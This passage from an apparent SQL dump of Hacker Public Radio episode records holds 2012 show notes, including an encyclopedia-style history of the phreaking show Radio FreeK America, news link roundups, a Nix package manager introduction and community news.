href=\"https://en.wikipedia.org/wiki/North_American_Eastern_Time_Zone\">EST</a>.\r\n</p>\r\n<p>\r\nRadio FreeK America\'s website, &#091;<a href=\"https://www.oldskoolphreak.com\" target=\"_blank\">Old Skool Phreak</a>&#093;, features a \"Phreak Photo Gallery\", \"Hacker Art Gallery\", text files, video files, and the download section for Radio FreeK America.\r\n</p>\r\n<p>\r\nThe radio show, through its success, inspired many other <a href=\"https://en.wikipedia.org/wiki/Internet_Radio\">Internet Radio</a> shows, such as <a href=\"https://en.wikipedia.org/wiki/Binary_Revolution\">Binary Revolution</a> and <a href=\"https://en.wikipedia.org/wiki/Default_Radio\">Default Radio</a>. Dual attributes the inspiration of the show to other hacker-oriented <a href=\"https://en.wikipedia.org/wiki/Internet_Radio\">Internet Radio</a> programs like In the Now, Hacker Mind, Off the Hook, and <a href=\"https://en.wikipedia.org/wiki/Rant_Radio\">Rant Radio</a>.\r\n</p>\r\n<p>\r\nRadio FreeK America had been the home to Project Walmart Freedom, a community effort to explore (in great detail) the inner phone system of Walmart stores, as well as codes, signals, procedures, and terminology usually only known to Walmart employees exclusively. Some information was known only to upper management as well.\r\n</p>\r\n<p>\r\nSoon after the last episode aired, the website went offline for a brief period of time. Oldskoolphreak.com had been replaced by a website featuring information on <a href=\"https://en.wikipedia.org/wiki/Phreaking\">phreaking</a> with <a href=\"https://en.wikipedia.org/wiki/Personal_digital_assistant\">PDA</a>\'s. That site had been moved to PDAphreak.biz. (As of <a href=\"https://en.wikipedia.org/wiki/September_7\">September 7</a> <a href=\"https://en.wikipedia.org/wiki/2005\">2005</a> PDAphreak.biz was no longer online.) Oldskoolphreak.com is still maintained by Natas, despite the lack of dual and lack of continuation of RFA.\r\n</p>\r\n<p>\r\nOn the last episode, dual gave his reasons for ending the radio show to start a new one called <em>Hacker Public Radio</em>. This never came to be though, and dual has made very few appearances since.\r\n</p>\r\n<a name=\"Content\" id=\"Content\"></a>\r\n<h2>Content</h2>\r\n<p>\r\nThe theme of Radio FreeK America kept true to the hacking spirit: to learn and explore, as well as keeping knowledge free. The name Radio FreeK America was coined by Rax and has several layers of meaning. The term \"FreeK\" is spelled with a capital \"K\" to stand for knowledge, and the term was to be understood as \"keep knowledge free\", hence \"FreeK\" or \"Free Knowledge\". It was a common saying of Rax at the end of the show to say \"keep knowledge free.\" Radio FreeK America is also a play on <a href=\"https://en.wikipedia.org/wiki/Radio_Free_Europe\">Radio Free Europe</a>, a broadcasting organization funded by the United States to promote democratic values in other nations. Radio FreeK America sought to inspire and present the values, concepts, and idea of the <a href=\"https://en.wikipedia.org/wiki/Hacking\">hacking</a>/<a href=\"https://en.wikipedia.org/wiki/Phreaking\">phreaking</a> community.\r\n</p>\r\n<p>\r\nAlong with \"keep knowledge free\" was the tagline \"be the media,\" which was coined by <a href=\"https://en.wikipedia.org/wiki/Jello_Biafra\">Jello Biafra</a>. Here, dual stresses the necessity of alternative media, and that having only a few sources of media is biased and not effective on covering information from all perspectives. Also, alternative media can be more tailored to suit its audience. With this, dual encouraged more people to start <a href=\"https://en.wikipedia.org/wiki/Internet_radio\">internet radio</a> shows.\r\n</p>\r\n<p>\r\nThe show revolved around the hacking and phreaking scence extensively. Covering issues from <a href=\"https://en.wikipedia.org/wiki/Wardriving\">wardriving</a> and its off shoots, <a href=\"https://en.wikipedia.org/wiki/Urban_exploration\">urban exploration</a>, <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>, <a href=\"https://en.wikipedia.org/wiki/Computer_security\">computer security</a>, <a href=\"https://en.wikipedia.org/wiki/Phreaking\">phreaking</a>, freedom of speech, legal issues, some political issues, amateur radio, and anything that could be deemed relevant to the hacking culture abroad.<br/>\r\nDual, from the start, intended to make it a show about the listeners and about the community. The show carried a variety of topics that the hacker community would be interested in. The first episode started with dual playing a recording of a <a href=\"https://en.wikipedia.org/wiki/Dumpster_diving\">trashing</a> session at a local <a href=\"https://en.wikipedia.org/wiki/Telephone_company\">telco</a> <a href=\"https://en.wikipedia.org/wiki/Telephone_switch\">Switch</a>. The show also had a segment at irregular intervals called \"Phreak News\" where dual would play a 25¢ tone from a <a href=\"https://en.wikipedia.org/wiki/Red_box\">red box</a> and speak about issues relevant to the phreaking community. \"Dual\'s Adventures\" was a segment just as irregular as Phreak News where dual would talk about opportunities dealing with technology that arose while he was in an urban setting, usually a store.\r\n</p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Urban_exploration\">Urban exploration</a> was also a common part of Radio FreeK America, which often had dual playing his audio-recording adventures into various tunnels and basements. It was also common for dual to make several phone calls per episode to \"interesting\" numbers to see what could be learned. Calling card information was occasionally given out and posted on the site for the purpose of listeners to use for whatever they felt like. Listeners\' email were read at the beginning of nearly episode as well, often with a thanks from dual, and a brief talk about the importance of community action, another driving force behind Radio FreeK America.\r\n</p>\r\n<p>\r\nRadio FreeK America initiated a fundraiser to send money to the <a href=\"https://en.wikipedia.org/wiki/Electronic_Frontier_Foundation\">Electronic Frontier Foundation</a>, stressing the need to keep knowledge free and keep your right to freedom of speech.\r\n</p>\r\n<a name=\"External_links\" id=\"External_links\"></a><h2>External links</h2>\r\n<ul><li>&#091;<a href=\"https://oldskoolphreak.com\" target=\"_blank\">Old Skool Phreak, homepage of Radio FreeK America</a>&#093;</li><li>&#091;<a href=\"https://audio.textfiles.com/shows/radiofreekamerica\" target=\"_blank\">Mirror site of Radio FreeK America</a>&#093;</li><li>&#091;<a href=\"https://binrev.com\" target=\"_blank\">Binary Revolution Radio</a>&#093;</li></ul>\r\n<hr />\r\n<p id=\"wpcredit\">From <a href=\"https://en.wikipedia.org\" target=\"_blank\">Wikipedia</a>, the Free Encyclopedia. Original article <a href=\"https://en.wikipedia.org/wiki/Radio_FreeK_America\" target=\"_blank\">here</a>. Support Wikipedia by contributing or <a href=\"https://wikimediafoundation.org/wiki/Fundraising\" target=\"_blank\">donating</a>.<br />All text is available under the terms of the <a href=\"https://en.wikipedia.org/wiki/Wikipedia:Text_of_the_GNU_Free_Documentation_License\">GNU Free Documentation License</a> See <a href=\"https://en.wikipedia.org/wiki/Wikipedia:Copyrights\" target=\"_blank\">Wikipedia Copyrights</a> for details.</p>\r\n',158,54,1,'CC-BY-SA','Radio FreeK America,RFA,hacker,hacking,phreaking,internet radio,urban exploration,wardriving',0,2157,1),
(1015,'2012-06-21','TGTM Newscast for 2012/6/18 DeepGeek',1217,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 2012/6/18 DeepGeek</h2>\r\n<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.web.gpnys.com/?p=11845\">Mitt Romney won’t be the only Massachusetts resident on the presidential ballot</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1316\">The Assange Case: An Assault on Accountability</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13341/the_war_on_whistleblowers/\">The War on Whistleblowers</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/6/15/headlines#6150\"> Egyptian Court Dissolves Parliament Days Before Election </a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/House_Republicans_Reject_FCC_Rule_to_Force_TV_Stations_to_Publish_Who_Paid_for_Political_Ads_120609\">House Republicans Reject FCC Rule to Force TV Stations to Publish Who Paid for Political Ads</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120601/04275319163/nytimes-reveals-details-how-us-created-stuxnet-how-programming-error-led-to-its-escape.shtml\">NYTimes Reveals Details Of How US Created Stuxnet... And How A Programming Error Led To Its Escape</a></li>\r\n<li><a href=\"https://torrentfreak.com/verizon-succesfully-defends-privacy-of-alleged-bittorrent-pirates-120531/\">Verizon Succesfully Defends Privacy of Alleged BitTorrent Pirates</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-asks-court-to-dismiss-the-criminal-case-120530/\"> Megaupload Asks Court to Dismiss The Criminal Case</a></li>\r\n<li><a href=\"https://www.eff.org/press/releases/internet-archive-sues-stop-new-washington-state-law\">Internet Archive Sues to Stop New Washington State Law</a></li>\r\n<li><a href=\"https://torrentfreak.com/how-scary-is-the-us-six-strikes-anti-piracy-scheme-120605/\"> How Scary is the US “Six Strikes” Anti-Piracy Scheme?</a></li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://www.rawstory.com/rs/2012/06/11/french-socialists-poised-to-take-control-of-parliament/\">French Socialists poised to take control of parliament</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/06/11/vatileaks-scandal-could-weaken-chances-of-italian-pope/\">‘Vatileaks’ scandal could weaken chances of Italian pope</a></li>\r\n<li><a href=\"https://www.thenewamerican.com/usnews/constitution/item/11671-federal-judge-reaffirms-her-order-blocking-indefinite-detention-by-obama-administration\">Federal Judge Reaffirms Her Order Blocking Indefinite Detention by Obama Administration </a></li>\r\n<li><a href=\"https://news.infoshop.org/article.php?story=20120610230624927\">Striking back at bosses: solidarity networks and sexual assault</a></li>\r\n<li><a href=\"https://phys.org/news/2012-05-chemical-circuit.html\">The first chemical circuit developed</a></li></ul>\r\n<p>News from \"techdirt.com,\" \"inthesetimes.com,\" and \"allgov.com\" used under&nbsp;arranged permission.</p>\r\n<p>News from \"torrentfreak.com,\" \"sacis.org.za,\" and \"eff.org\" used under permission of the Creative Commons by-attribution&nbsp;license.</p>\r\nNews from \"democracynow.org\"&nbsp; used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.\r\n<p>News from \"gpnys.com\" is a press release. </p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ol>\r\n<li><a href=\"https://www.web.gpnys.com/?p=11845\">https://www.web.gpnys.com/?p=11845</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1316\">https://sacsis.org.za/site/article/1316</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/13341/the_war_on_whistleblowers/\">https://inthesetimes.com/article/13341/the_war_on_whistleblowers/</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/6/15/headlines#6150\">https://www.democracynow.org/2012/6/15/headlines#6150</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/House_Republicans_Reject_FCC_Rule_to_Force_TV_Stations_to_Publish_Who_Paid_for_Political_Ads_120609\">https://www.allgov.com//ViewNews/House_Republicans_Reject_FCC_Rule_to_Force_TV_Stations_to_Publish_Who_Paid_for_Political_Ads_120609</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120601/04275319163/nytimes-reveals-details-how-us-created-stuxnet-how-programming-error-led-to-its-escape.shtml\">https://www.techdirt.com/articles/20120601/04275319163/nytimes-reveals-details-how-us-created-stuxnet-how-programming-error-led-to-its-escape.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/verizon-succesfully-defends-privacy-of-alleged-bittorrent-pirates-120531/\">https://torrentfreak.com/verizon-succesfully-defends-privacy-of-alleged-bittorrent-pirates-120531/</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-asks-court-to-dismiss-the-criminal-case-120530/\">https://torrentfreak.com/megaupload-asks-court-to-dismiss-the-criminal-case-120530/</a></li>\r\n<li><a href=\"https://www.eff.org/press/releases/internet-archive-sues-stop-new-washington-state-law\">https://www.eff.org/press/releases/internet-archive-sues-stop-new-washington-state-law</a></li>\r\n<li><a href=\"https://torrentfreak.com/how-scary-is-the-us-six-strikes-anti-piracy-scheme-120605/\">https://torrentfreak.com/how-scary-is-the-us-six-strikes-anti-piracy-scheme-120605/</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/06/11/french-socialists-poised-to-take-control-of-parliament/\">https://www.rawstory.com/rs/2012/06/11/french-socialists-poised-to-take-control-of-parliament/</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2012/06/11/vatileaks-scandal-could-weaken-chances-of-italian-pope/\">https://www.rawstory.com/rs/2012/06/11/vatileaks-scandal-could-weaken-chances-of-italian-pope/</a></li>\r\n<li><a href=\"https://www.thenewamerican.com/usnews/constitution/item/11671-federal-judge-reaffirms-her-order-blocking-indefinite-detention-by-obama-administration\">https://www.thenewamerican.com/usnews/constitution/item/11671-federal-judge-reaffirms-her-order-blocking-indefinite-detention-by-obama-administration</a></li>\r\n<li><a href=\"https://news.infoshop.org/article.php?story=20120610230624927\">https://news.infoshop.org/article.php?story=20120610230624927</a></li>\r\n<li><a href=\"https://phys.org/news/2012-05-chemical-circuit.html\">https://phys.org/news/2012-05-chemical-circuit.html</a></li>\r\n</ol>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2137,1),
(1016,'2012-06-22','Nix: The Functional Package Manager',1900,'The Nix package manager and related projects such as NixOS','<p>\r\nAn introduction to the Nix package manager and related projects:\r\n</p>\r\n<p>\r\nNix is a purely functional package manager. This means that it can ensure that an upgrade to one package cannot break others, that you can always roll back to previous version, that multiple versions of a package can coexist on the same system, and much more.<br />\r\nNixpkgs is a large collection of packages that can be installed with the Nix package manager.<br />\r\nNixOS is a Nix-based Linux distribution. Thanks to Nix, it supports atomic upgrades, rollbacks and multi-user package management, and it has a declarative approach to system configuration management that makes it easy to reproduce a configuration on another machine.<br />\r\nHydra is a Nix-based continuous build system.<br />\r\nDisnix is a Nix-based distributed service deployment system.<br />\r\n</p>\r\n<h2>Links:</h2>\r\n<p>\r\nNixOS: <a href=\"https://nixos.org\">https://nixos.org</a>, #nixos on freenode\r\nEben Moglen on platforms: <a href=\"https://en.wikisource.org/wiki/09NTC_plenary:_Eben_Moglen\">https://en.wikisource.org/wiki/09NTC_plenary:_Eben_Moglen</a>\r\nEelco Visser on Parsers: <a href=\"https://www.se-radio.net/2008/11/episode-118-eelco-visser-on-parsers/\">https://www.se-radio.net/2008/11/episode-118-eelco-visser-on-parsers/</a>\r\n</p>\r\n',216,0,1,'CC-BY-SA','NixOS,Nix,package manager,Nixpkgs,Hydra,Disnix',0,2318,1),
(1017,'2012-06-25','Phone hacking Samsung Admire',430,'Attempting to restore a damaged smartphone','<p>Sean acquired a Samsung Admire that had fallen in the snow. Not nice clean\r\nsnow but the side of the road mixed with salt type. His friend suggests\r\nwashing it in distilled water, drying it with a hair dryer and putting it in\r\na container of rice for a week.\r\n</p>\r\n<p>\r\nBut will it work ... Tune in to find out\r\n</p>\r\n',171,0,1,'CC-BY-SA','Samsung Admire,water damage',0,2207,1),
(1018,'2012-06-26','Interview with Christel Dahlskjaer of the FreeNode project.',842,'Ken interviews Christel Dahlskjaer of the FreeNode project','<p>\r\nTodays show is a much delayed recording from OggCamp11. <br />\r\nIt\'s late and Ken is out having a pint when he hears a voice from the <a\r\nhref=\"https://podcast.freenode.net/\">https://podcast.freenode.net/</a> podcast.\r\nHe looks up and who is it but Christel Dahlskjaer of the FreeNode project.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://simplychristel.com/\">https://simplychristel.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Peer-Directed_Projects_Center\">https://en.wikipedia.org/wiki/Peer-Directed_Projects_Center</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Rob_Levin\">https://en.wikipedia.org/wiki/Rob_Levin</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Freenode\">https://en.wikipedia.org/wiki/Freenode</a></li>\r\n<li><a href=\"https://freenode.net/pdpc_donations.shtml\">https://freenode.net/pdpc_donations.shtml</a></li>\r\n</ul>\r\n',30,78,1,'CC-BY-SA','Interview,Oggcamp,Freenode',0,2178,1),
(1019,'2012-06-28','The 8 Billion Dollar iPod',482,'Rob Reid, creator of \"Rhapsody\", gives a TED talk','<p><em>Syndicated Thursdays is a chance to showcase other Creative Commons works. We try to expose podcasts, speeches, presentations, music, etc that you may not have heard. If you have suggestions for items then send your recommendation to admin at hpr and we\'ll add it to the queue.</em></p>\r\n\r\n<p>\r\nToday we\'re going to play the audio from a Ted presentation\r\n</p>\r\n<p>\r\nFrom Wikipedia, the free encyclopedia<br />\r\nTED (Technology, Education and Design) is a global set of conferences owned by the private non-profit Sapling Foundation, formed to disseminate \"ideas worth spreading.\"\r\n</p>\r\n<p>\r\nThe title of the talk is <strong>\"The 8 Billion Dollar iPod\"</strong> and the speaker is Rob Reid who is a humor author and the founder of the company that created the music subscription service Rhapsody.<br />\r\n<a href=\"https://www.ted.com/talks/rob_reid_the_8_billion_ipod.html\">https://www.ted.com/talks/rob_reid_the_8_billion_ipod.html</a>\r\n</p>\r\n<p>\r\nTodays HPR presentation is an enhanced podcast, where we describe any slides that are not explained in the narrative.<br />\r\n</p>\r\n<p>\r\nThis would be a good time to remind you that Jonathan Nadeau is looking for donations for The Accessible Computing Foundation.<br />\r\n<em>The Accessible Computing Foundation exists to design Free software to help bridge the gap between accessibility and technology. As a nonprofit we will hire developers to create Free accessible software and bring awareness to people\'s accessible needs around the world.</em><br />\r\n<a href=\"https://www.accessiblecomputingfoundation.org/\">https://www.accessiblecomputingfoundation.org/</a>\r\n</p>\r\n<p>\r\n<strong>CC-BY-SA-NC</strong><br />\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.ted.com/talks/rob_reid_the_8_billion_ipod.html\">https://www.ted.com/talks/rob_reid_the_8_billion_ipod.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/TED_%28conference%29\">https://en.wikipedia.org/wiki/TED_%28conference%29</a></li>\r\n<li><a href=\"https://www.accessiblecomputingfoundation.org/\">https://www.accessiblecomputingfoundation.org/</a></li>\r\n</ul>\r\n',158,54,1,'CC-BY-SA','TED,\"Technology, Education and Design\",Rhapsody',0,2161,1),
(1020,'2012-06-29','TGTM Newscast for 2012/6/27 DeepGeek',1350,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 2012/6/27 DeepGeek</h2>\r\n<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://www.pacificfreepress.com/news/1/11906-assange-finds-allies-in-asylum-bid.html\">Assange Finds Allies in Asylum Bid</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/6/18/headlines#6181\">Obama Order Stops Deportations for Immigrant Youths </a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Catholic_Church_Fighting_Loosening_of_Sex_Abuse_Statute_of_Limitation_Laws_120618\">Catholic Church Fighting Loosening of Sex Abuse Statute of Limitation Laws</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Secret_Obama_Trade_Agreement_Would_Allow_Foreign_Corporations_to_Avoid_US_Laws_120615\">Secret Obama Trade Agreement Would Allow Foreign Corporations to Avoid U.S. Laws</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/06/22/coming-out/\">Coming Out</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/06/global-telecom-governance-debated-european-parliament-workshop\">Global Telecom Governance Debated at European Parliament Workshop</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/06/can-apple-refuse-sell-laptop-iranian-citizen-maybe\">Can Apple Refuse to Sell a Laptop to an Iranian Citizen? Maybe. </a></li>\r\n<li><a href=\"https://torrentfreak.com/u-s-govt-equates-megaupload-to-bank-robbers-120614/\">U.S. Govt. Equates Megaupload to Bank Robbers</a></li>\r\n<li><a href=\"https://torrentfreak.com/comcast-protests-shake-down-of-alleged-bittorrent-pirates-120612/\">Comcast Protests “Shake Down” of Alleged BitTorrent Pirates</a></li>\r\n<li><a href=\"https://torrentfreak.com/kim-dotcom-theory-on-corporate-cyberlocker-use-supported-by-survey-120616/\">Kim Dotcom Theory on Corporate Cyberlocker Use Supported By Survey</a></li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://www.counterpunch.org/2012/06/19/christians-and-the-kill-list/\">In Drones We Trust Christians and the Kill List</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2676\">Transcript: Julian Assange\'s first interview from Ecuadorian Embassy</a></li>\r\n<li><a href=\"https://peoplesworld.org/the-revolutionary-an-american-in-china-s-communist-party/\"> “The Revolutionary” - an American in China’s Communist Party</a></li>\r\n<li><a href=\"https://www.irishtimes.com/newspaper/finance/2012/0621/1224318338747.html\">Internet threat to press freedom</a></li>\r\n<li><a href=\"https://torrentfreak.com/how-long-before-vpns-become-illegal-120615/\">How Long Before VPNs Become Illegal?</a></li></ul>\r\n<p>News from \"maggiemcneill.wordpress.com,\" and \"allgov.com\" used\r\nunder&nbsp;arranged permission.</p>\r\n<p>News from \"torrentfreak.com,\" and \"eff.org\" used under permission of the Creative Commons by-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.</p>\r\n<p>News from \"pacificfreepress.com\" used under permission of the Creative Commons by-attribution non-commercial license.<br />\r\n</p>\r\n\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ol>\r\n<li><a href=\"https://www.pacificfreepress.com/news/1/11906-assange-finds-allies-in-asylum-bid.html\">https://www.pacificfreepress.com/news/1/11906-assange-finds-allies-in-asylum-bid.html</a></li>\r\n<li><a href=\"https://www.democracynow.org/2012/6/18/headlines#6181\">https://www.democracynow.org/2012/6/18/headlines#6181</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Catholic_Church_Fighting_Loosening_of_Sex_Abuse_Statute_of_Limitation_Laws_120618\">https://www.allgov.com//ViewNews/Catholic_Church_Fighting_Loosening_of_Sex_Abuse_Statute_of_Limitation_Laws_120618</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Secret_Obama_Trade_Agreement_Would_Allow_Foreign_Corporations_to_Avoid_US_Laws_120615\">https://www.allgov.com//ViewNews/Secret_Obama_Trade_Agreement_Would_Allow_Foreign_Corporations_to_Avoid_US_Laws_120615</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/06/22/coming-out/\">https://maggiemcneill.wordpress.com/2012/06/22/coming-out/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/06/global-telecom-governance-debated-european-parliament-workshop\">https://www.eff.org/deeplinks/2012/06/global-telecom-governance-debated-european-parliament-workshop</a></li>                                                                                  \r\n<li><a href=\"https://www.eff.org/deeplinks/2012/06/can-apple-refuse-sell-laptop-iranian-citizen-maybe\">https://www.eff.org/deeplinks/2012/06/can-apple-refuse-sell-laptop-iranian-citizen-maybe</a></li>                                                                                                          \r\n<li><a href=\"https://torrentfreak.com/u-s-govt-equates-megaupload-to-bank-robbers-120614/\">https://torrentfreak.com/u-s-govt-equates-megaupload-to-bank-robbers-120614/</a></li>                                                                                                                                    \r\n<li><a href=\"https://torrentfreak.com/comcast-protests-shake-down-of-alleged-bittorrent-pirates-120612/\">https://torrentfreak.com/comcast-protests-shake-down-of-alleged-bittorrent-pirates-120612/</a></li>                                                                                                        \r\n<li><a href=\"https://torrentfreak.com/kim-dotcom-theory-on-corporate-cyberlocker-use-supported-by-survey-120616/\">https://torrentfreak.com/kim-dotcom-theory-on-corporate-cyberlocker-use-supported-by-survey-120616/</a></li>                                                                                      \r\n<li><a href=\"https://www.counterpunch.org/2012/06/19/christians-and-the-kill-list/\">https://www.counterpunch.org/2012/06/19/christians-and-the-kill-list/</a></li>                                                                                                                                                  \r\n<li><a href=\"https://wlcentral.org/node/2676\">https://wlcentral.org/node/2676</a></li>                                                                     \r\n<li><a href=\"https://peoplesworld.org/the-revolutionary-an-american-in-china-s-communist-party/\">https://peoplesworld.org/the-revolutionary-an-american-in-china-s-communist-party/</a></li>                                                                                                                        \r\n<li><a href=\"https://www.irishtimes.com/newspaper/finance/2012/0621/1224318338747.html\">https://www.irishtimes.com/newspaper/finance/2012/0621/1224318338747.html</a></li>                                                                                                                                          \r\n<li><a href=\"https://torrentfreak.com/how-long-before-vpns-become-illegal-120615/\">https://torrentfreak.com/how-long-before-vpns-become-illegal-120615/</a></li>\r\n</ol>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2277,1),
(1021,'2012-07-02','HPR Community News June 2012',676,'HPR Community News June 2012','<h1>HPR Community News</h1>\r\n<p>Klaatu reads the community news.</p>\r\n<h2>New hosts</h2>\r\n<p>Welcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=214\">Nido Media</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=216\">goibhniu</a>.\r\n<br />\r\nIf you would like to become a HPR host then please head over to <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n\r\n<table>\r\n<thead><tr>\r\n<th>id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr ><td align=\"right\">1001</td>\r\n<td>HPR Community News May 2012</td>\r\n<td>HPR Admins</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1002</td>\r\n<td>Linux In The Shell 008 - free: Understanding Linux Memory Usage</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1003</td>\r\n<td>My audio gear</td>\r\n<td>Nido Media</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1004</td>\r\n<td>Sunday Morning Linux Review Episode 34 - SUSE and Venus</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1005</td>\r\n<td>TGTM Newscast for 2012/6/6</td>\r\n<td>deepgeek</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1006</td>\r\n<td>More Experiences Out of a Mental Hostpital</td>\r\n<td>sigflup</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1007</td>\r\n<td>My Linux Adventure, Pt. 2</td>\r\n<td>Bob Wooden</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1008</td>\r\n<td>Fix the \"Sticky Keys\" Bug in Minecraft</td>\r\n<td>Windigo</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1009</td>\r\n<td>John Sullivan Why should I care about Free software?</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1010</td>\r\n<td>John Doe on copyright infringement lawsuits</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1011</td>\r\n<td>NELF interview with Robert_Schweikert of Open Suse</td>\r\n<td>pokey</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1012</td>\r\n<td>LiTS 009 - w command and linux load averages</td>\r\n<td>Dann</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1013</td>\r\n<td>Saving Programs From TiVo</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1014</td>\r\n<td>Radio FreeK America 15 (2002/06/05) - Special Rax-only Episode</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1015</td>\r\n<td>TGTM Newscast for 2012/6/18 DeepGeek</td>\r\n<td>deepgeek</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1016</td>\r\n<td>Nix: The Functional Package Manager</td>\r\n<td>goibhniu</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1017</td>\r\n<td>Phone hacking Samsung Admire</td>\r\n<td>Brotherred</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1018</td>\r\n<td>Interview with Christel Dahlskjaer of the FreeNode project.</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr ><td align=\"right\">1019</td>\r\n<td>The 8 Billion Dollar iPod</td>\r\n<td>Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr><td align=\"right\">1020</td>\r\n<td>TGTM Newscast for 2012/6/27 DeepGeek</td>\r\n<td>deepgeek</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n',159,47,1,'CC-BY-SA','Community News',0,2181,1),
(1022,'2012-07-03','LiTS 010: df - Exploring Disk Filesystem Usage',1075,'Report file system disk space usage with the df command','The df command is used to report file system usage. The df command will show you the amount of storage available, used, and free per partition for each fileystem currently mounted on the system. Values are shown in blocks. \n\n<a href=\"https://www.linuxintheshell.com/2012/07/03/episode-010-df-exploring-disk-filesystem-usage/\">https://www.linuxintheshell.com</a>\n',7,67,1,'CC-BY-SA','df',0,2772,1),
(1023,'2012-07-04','About Rivendell with Rivendell',3064,'Rivendell Radio Automation software','<h1>AukonDK</h1>\r\n<h2>About Rivendell with Rivendell</h2>\r\n\r\n<p>\r\nIn this episode I talk about the Rivendell Radio Automation software whilst using the same software to play music and sound.\r\nThis show was recorded \"as live\" and unscripted. I need a bit more practise as I\'d like to use a similar setup to do my own podcast show. Did a bit of normalising and amplifing as the levels weren\'t that great (another thing to practise)\r\n</p>\r\n<p>\r\nLinks and CC attribution follow.\r\n</p>\r\n<p>\r\n[00:00]\r\nSFX\r\nCinematicBoomNorm.wav by Herbert Boland\r\nCC-BY\r\n<a href=\"https://www.freesound.org/people/HerbertBoland/sounds/33637/\">https://www.freesound.org/people/HerbertBoland/sounds/33637/</a>\r\n</p>\r\n<p>\r\n[00:36]\r\nPromo\r\nRivendell Audio Spot -- \"$15,000\"\r\n<a href=\"https://www.rivendellaudio.org/rivendell/download.shtml\">https://www.rivendellaudio.org/rivendell/download.shtml</a>\r\n</p>\r\n<p>\r\n[00:47]\r\nBed Music\r\nEmptiness by Alexander Blu\r\nCC-BY-SA\r\n<a href=\"https://www.jamendo.com/en/track/946\">https://www.jamendo.com/en/track/946</a>\r\n</p>\r\n<p>\r\n[01:00]\r\nLink\r\nRivendell Radio Automation\r\n<a href=\"https://www.rivendellaudio.org/\">https://www.rivendellaudio.org/</a>\r\n</p>\r\n<p>\r\n[03:29]\r\nMusic\r\nThere\'s Something Wrong by Brad 